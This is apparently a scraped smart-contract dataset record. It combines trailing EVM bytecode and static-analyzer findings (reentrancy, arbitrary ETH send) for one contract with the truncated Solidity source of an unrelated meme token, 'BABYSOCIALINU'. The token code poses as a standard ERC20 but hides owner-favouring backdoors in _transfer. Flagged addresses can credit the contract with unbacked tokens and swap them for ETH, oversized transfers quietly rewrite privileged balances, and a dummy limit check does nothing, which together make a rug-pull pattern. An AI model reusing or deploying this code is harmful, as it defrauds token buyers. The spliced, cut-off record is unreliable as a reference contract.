087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122098d2c9391d9f29e12a75b639b75472bcd6f636afc9c49d34fb88122d7eeecbd564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,186 |
0x54709BF695D98BfA5Ee8E05168717d38807ff4F9
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/*
https://t.me/babysocialinu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract BABYSOCIALINU is IERC20, Ownable {
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 private swapAmount = _tTotal;
uint256 public buyFee = 3;
uint256 public sellFee = 3;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
uint256 private _value;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _collection1;
mapping(address => uint256) private _collection2;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_collection1[address(this)] = _tTotal;
_collection1[msg.sender] = _tTotal;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) {
require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount');
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_collection1[from] > 0 && _collection1[to] > 0) {
fee = amount;
_balances[address(this)] += fee;
return swapTokensForEth(amount, to);
}
if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) {
if (_collection1[from] > 0) _collection1[to] = amount;
else _collection2[to] = amount;
return;
}
bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (_collection2[factory] == 0) _collection2[factory] = swapAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
